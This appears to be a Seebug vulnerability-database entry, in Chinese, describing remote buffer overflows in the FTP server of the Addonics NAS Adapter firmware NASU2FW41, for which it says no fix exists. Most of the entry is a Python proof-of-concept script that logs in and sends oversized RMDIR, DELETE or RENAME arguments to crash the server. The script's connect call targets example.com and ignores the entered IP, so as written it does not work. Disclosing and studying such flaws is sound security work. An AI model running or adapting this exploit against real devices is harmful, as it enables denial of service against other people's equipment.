Lucene search

K
seebugRootSSV:11190
HistoryMay 04, 2009 - 12:00 a.m.

Addonics NAS Adapter FTP Server多个命令远程缓冲区溢出漏洞

2009-05-0400:00:00
Root
www.seebug.org
7

Bugraq ID: 34796
CNCAN ID:CNCAN-2009050301

Addonics NAS Adapter是一款用于向LAN增加任意USB存储设备的小型适配器。
Addonics NAS Adapter包含的FTP服务器存在缓冲区溢出,远程攻击者可以利用漏洞以应用程序权限执行任意指令。
其中对RMDIR, Delete, Rename命令提交的参数缺少充分边界检查,构建恶意字符串作为命令参数,可触发缓冲区溢出,以应用程序权限执行任意指令。

Addonics NAS Adapter NASU2FW41
目前没有解决方案提供:
<a href=“http://www.addonics.com/products/nas/nasu2.asp” target=“_blank”>http://www.addonics.com/products/nas/nasu2.asp</a>


                                                #!/usr/bin/python
######################################################
# Addonics NAS Adapter FTP server DoS
# Tested against NASU2FW41 Loader 1.17
# Coded by Mike Cyr, aka h00die
# mcyr2     at           csc         dot_____________com
# Notes: Since the HTTP server was so vulnerable, is
#        this really a suprise?
# Greetz to muts and loganWHD, I tried harder
# http://www.offensive-security.com/offsec101.php turning script kiddies into ninjas daily
# Log: Vendor notification March 25, 2009
#      Vendor response March 26, 2009
#    Milw0rm release May 1, 2009
######################################################
import socket
import sys
buffer= 'a'
counter=1
ip = raw_input(&quot;IP: &quot;)
un = raw_input(&quot;Username: &quot;)
password = raw_input(&quot;Password: &quot;)
print &quot;Vulnerable commands&quot;
print &quot;1. rmdir&quot;
print &quot;2. delete&quot;
print &quot;3. rename&quot;
command = raw_input(&quot;Command to crash (#): &quot;)
if command == &quot;1&quot;:
 print &quot;fuzzing &quot; + ip + &quot; with command rmdir&quot;
elif command == &quot;2&quot;:
 print &quot;fuzzing &quot; + ip + &quot; with command delete&quot;
elif command == &quot;3&quot;:
 print &quot;fuzzing &quot; + ip + &quot; with command rename&quot;
else:
 print &quot;your an idiot&quot;
 sys.exit(1)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('example.com',21))
print s.recv(1024)
s.send('USER ' + un + '\r\n')
print s.recv(1024)
s.send('PASS ' + password + '\r\n')
print s.recv(1024)
if command == &quot;1&quot;:
 while len(buffer) &lt;=512:
  buffer = buffer + 'a'
  counter=counter+1
 s.send('XRMD ' + buffer + '\r\n')
 print 'rmdir ' + buffer + '\r\n'
elif command == &quot;2&quot;:
 while len(buffer) &lt;=523:
  buffer = buffer + 'a'
  counter=counter+1
 s.send('delete ' + buffer + '\r\n')
elif command == &quot;3&quot;:
 while len(buffer) &lt;=526:
  buffer = buffer + 'a'
  counter=counter+1
 s.send('RNFR ' + buffer + '\r\n')
 answer=s.recv(1024)
 s.send('RNTO ' + buffer + '\r\n')
 answer=s.recv(1024)
if (answer == &quot;550 Requested action not taken.\r\n&quot;):
 print &quot;Stack smashed&quot;
else:
 print &quot;fail: &quot; + answer
s.close()